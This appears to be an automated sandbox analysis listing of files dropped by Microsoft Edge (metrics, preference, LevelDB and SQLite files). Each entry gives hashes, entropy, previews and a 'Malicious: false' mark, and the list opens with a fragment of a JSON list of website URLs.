Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6743E368-1F9C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0472775314009081
Encrypted:	false
SSDEEP:	192:JGCOdb0pqtmQnOAQpYCJPi6VBK/7+HfgHXwGInMEYTwgh81MNP+zRQcD/OzoRZns:QDdb0ctnsd43phHQVfGWZ08T2RGOD
MD5:	7DA791DB355F8085957E0FCA739ED044
SHA1:	6A5047356D3E33162FBDFF3BAC7CC5D83B162E87
SHA-256:	210E373F11D14F313514C038E04551E011AED1128D35958BA99CE6F5CAB97ECC
SHA-512:	9A2B57637213111D0D72BC108276BF80118155B5D8E786D5C9610013239AE5B4D167EE59AD94ED23A38F895B64A425B9FB37D71AEEB672B6FC9F3789B8740F0E
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".tudddm20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2..........I..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6743E369-DB0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4548427653269651
Encrypted:	false
SSDEEP:	6144:qqY/F1fRcbdjazntH+RlLq9VODIygaHV:BbdWxd4
MD5:	132846C02B5B25F2E814B2F2797EA92E
SHA1:	94050D9B79E6338BEEBCB7E5197E985F35A98C33
SHA-256:	050A9FFA48C14030A0CD0183BE97CBD0E5F7B34B87133ADC63DDF78C78EE0545
SHA-512:	0290DDA845DFC2C5B0C7FD27C5C12F502B42B16022F93EF4971C06C0A682914C600B7716D4521704DAFE20E9A02DDD19AF53DEFD5A1ED22C6F7318BC0F046383
Malicious:	false
Preview:	...@..@...@.....C.].....@...............h...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".tudddm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\02d70d87-46a8-47ad-bbeb-86b5fe5ec7d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561718548330794
Encrypted:	false
SSDEEP:	768:I4D9ds7pLGLPgOWPwWfDt8F1+UoAYDCx9Tuqh0VfUC9xbog/OV8vmlY7prw6Hxn/:I4D9dQcPgOWPwWfDtu1jaRvmC7a6HN5F
MD5:	E1F27E2543C6FECEAFC6483B81CB867A
SHA1:	5EB1E1BD5E795FC8ED2D5150B580CFA7E588E13A
SHA-256:	E3E5662AE053DAB6E3C15238E9624F41892D943165E44F9CEE0A8CC70DA10E56
SHA-512:	4EC18BB791D95E8873EDD8750A2B8ECA94AA9DF8BB6E82BC551DE0E56474A92D24A8185E0F83F3CE8F57CCD404B22BDD992C355F717660CFE45400FF465080F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376975977798032","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376975977798032","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\18bcf1ab-376a-4dc6-97ee-fa2089976a15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17065), with no line terminators
Category:	dropped
Size (bytes):	17068
Entropy (8bit):	5.492147518795436
Encrypted:	false
SSDEEP:	384:stIPGQSu4cscRXlBhZx3EAIWkDqmcTZAC+bGKQwDJ17NIo:sCOXuDRDMbG5ApD
MD5:	3FD6B6EA820CD0747787CBA0E831C94E
SHA1:	B4B08B719B2E9CFB3F40608AB453B0031DE50383
SHA-256:	536F195E5D246F0B8FA424BCA307A270BAB839E9ACDE89337FC58F5F077C0636
SHA-512:	26E7ADEF6CEB090555EDAED5309B5BB99CEF006A829EA1BE94EB48039F38707BA0A94BE071E152CEAEEC8A75737055CAD4F53581BAE1C97DD44B71627F6BE18B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3cd495e1-059b-4f9e-90d1-16afce5b9285.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17230), with no line terminators
Category:	dropped
Size (bytes):	17233
Entropy (8bit):	5.488800711551572
Encrypted:	false
SSDEEP:	384:stIPGQSu4cscRXlBhZx3EAIWkDqmcTZAC+bGKQwDJCf7NIo:sCOXuDRDMbG5AmD
MD5:	B136CFE8FF2B2B899B3982EC71DD4F89
SHA1:	5B506E40D34CAA7115C7276CFCD22FFC567DD2C0
SHA-256:	0AD814E5E7FE39EEBBEB0A8B2467E9C3D1C1F4EC5AA0666235F2C043B4B92190
SHA-512:	06B87607548253E7FA6CFFAA8EAD86C6A70F179302D6B48B8D1E3C41A78EEB03FFA24780BC6DB94252177369092A207767C249EFBAE6BF6D820FDF52BB93F289
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\79e1a2bf-6f2e-4197-9b9e-988bab84b683.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17230), with no line terminators
Category:	dropped
Size (bytes):	17233
Entropy (8bit):	5.488840628363925
Encrypted:	false
SSDEEP:	384:stIPGQSu4cscRXlBhZx3EAIWkDqmcTZAC+bGKQwDJZf7NIo:sCOXuDRDMbG5AVD
MD5:	87939D524DA9D5DEF9ABD11B291E12AA
SHA1:	BC3B9ADE68D4965DF6E6B4EAF922BC9D5E4311DC
SHA-256:	3B016C4B0AD29A972A88796B25933C2596A65BB8ACB2386A07CBF556A671A843
SHA-512:	DF27E153576E05C1C9DE0B1F06114712DA8EB78AA0B58F168D93A20EB3A6C678196633CB9A0092C534D79E4A1292966D96731C5762D9835C6270B6BF6F7F85EC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7f4a5af1-d186-4965-b3d4-d4805ccc7046.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.256595400515761
Encrypted:	false
SSDEEP:	6:HWcaP1CHhJ23oH+Tcwtp3hBtB2KLlVSTCN+q2PCHhJ23oH+Tcwtp3hBWsIFUv:2ZrYebp3dFLKTS+vBYebp3eFUv
MD5:	60E60F57882C73AE4C28844CE4C41C2D
SHA1:	5AAA1741F863B3765EB124CD2880D770FB7314E1
SHA-256:	00B74B5C8184C58E55219B6A3A788C1C5A9A7CD135F260935827A58D5909452D
SHA-512:	77B7192A3C22F93371E2B30CCF6017E44E87962FF794DC0F2A0F54EA8AE8CC6B532F29DDD74B764F97B5EAEC6E73A46491FB17A1EE3AC195098328429BC557C6
Malicious:	false
Preview:	2024/11/24-21:39:43.331 1f3c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/24-21:39:43.376 1f3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138118790347761
Encrypted:	false
SSDEEP:	24576:hKPCfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKafqJmcx
MD5:	234A3433C6D1A67BF85D6528DCC578AF
SHA1:	4F2DC9CA4A7B24C9F87CEB53DDDCB60A0F08DFF2
SHA-256:	52D1E37E909D0C3ACF9C5494671FDD279C7962FA1C7606B1D8A92F8B3015F964
SHA-512:	F0BF0DAC0593B8AC015C2B56BBAF0A785E5565FB1E7664AD84F473C2F8F7C9C48C9105E26F3A0044D6B8B3BDBAC77F467600D8BE7A5B80A8E0F35263D34AF3B1
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.107240604151811
Encrypted:	false
SSDEEP:	6:H+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YhZZmw+YKkwOCHhJ23oH+Tcwt9Eh15LJ:evBYeb9Eh16FUt8EZ/+j56Yeb9Eh1VJ
MD5:	417BA19BFE27FE05C7E3863C38F3E6A3
SHA1:	FFE953E5E7A563D66597A2076C36143994B3E39D
SHA-256:	CBC011DB3617E2914DD3CB9B1465781C897142BD096E36F4599A481C2D55322E
SHA-512:	04140918DC618509A64C39E3074B8306670855A1F532E48DBB5C37D7031006DCBD33F87CF2E34B3BE7C9B489673E684BFC601D09A203B7FB216C7DC99E3C908F
Malicious:	false
Preview:	2024/11/24-21:39:43.408 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-21:39:43.417 2100 Recovering log #3.2024/11/24-21:39:43.421 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.107240604151811
Encrypted:	false
SSDEEP:	6:H+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YhZZmw+YKkwOCHhJ23oH+Tcwt9Eh15LJ:evBYeb9Eh16FUt8EZ/+j56Yeb9Eh1VJ
MD5:	417BA19BFE27FE05C7E3863C38F3E6A3
SHA1:	FFE953E5E7A563D66597A2076C36143994B3E39D
SHA-256:	CBC011DB3617E2914DD3CB9B1465781C897142BD096E36F4599A481C2D55322E
SHA-512:	04140918DC618509A64C39E3074B8306670855A1F532E48DBB5C37D7031006DCBD33F87CF2E34B3BE7C9B489673E684BFC601D09A203B7FB216C7DC99E3C908F
Malicious:	false
Preview:	2024/11/24-21:39:43.408 2100 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-21:39:43.417 2100 Recovering log #3.2024/11/24-21:39:43.421 2100 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4627863246572387
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu8k:TouQq3qh7z3bY2LNW9WMcUvBu8k
MD5:	13178C76771862997BEA5624B5A28CDF
SHA1:	0A305A98285110B4A6F02406E26DE7BD46CDA4B4
SHA-256:	93B78FACD9CC0E6A2E17A0A7BCE0E3F3160F0D61CE254AD67E2502A4770889E6
SHA-512:	38A429FB6DD712CABF9923B8226507D3DA7AC41582B8390D07AF557915CDED98C1C62080A6A5B5A77E3DEB2C3CFE64AA58596412F72E741E28E8E8B8001FFC62
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.3225847899812395
Encrypted:	false
SSDEEP:	6:HtL+q2PCHhJ23oH+TcwtnG2tMsIFUt8YK1Zmw+YcLVkwOCHhJ23oH+TcwtnG2tM2:wvBYebn9GFUt8x1/+R56Yebn95J
MD5:	B2B4B9AD23F0E9B2628006675FF44991
SHA1:	C6934E0575938E49F985F5D22D29A6ABC890E010
SHA-256:	782BBCD352D76854A7B9833C2FDEC764BEB5E62D5E3478FF47095ED396D200EE
SHA-512:	706B3E28403180212C585B00D8F33283B940DF7420D3426C53B37ADF1C9E5E7657F298D25CED260798C43E11950475BD7C27FF76000BB0BADAD7F27B46644930
Malicious:	false
Preview:	2024/11/24-21:39:37.865 1758 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-21:39:37.866 1758 Recovering log #3.2024/11/24-21:39:37.866 1758 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.3225847899812395
Encrypted:	false
SSDEEP:	6:HtL+q2PCHhJ23oH+TcwtnG2tMsIFUt8YK1Zmw+YcLVkwOCHhJ23oH+TcwtnG2tM2:wvBYebn9GFUt8x1/+R56Yebn95J
MD5:	B2B4B9AD23F0E9B2628006675FF44991
SHA1:	C6934E0575938E49F985F5D22D29A6ABC890E010
SHA-256:	782BBCD352D76854A7B9833C2FDEC764BEB5E62D5E3478FF47095ED396D200EE
SHA-512:	706B3E28403180212C585B00D8F33283B940DF7420D3426C53B37ADF1C9E5E7657F298D25CED260798C43E11950475BD7C27FF76000BB0BADAD7F27B46644930
Malicious:	false
Preview:	2024/11/24-21:39:37.865 1758 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-21:39:37.866 1758 Recovering log #3.2024/11/24-21:39:37.866 1758 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6137316009818361
Encrypted:	false
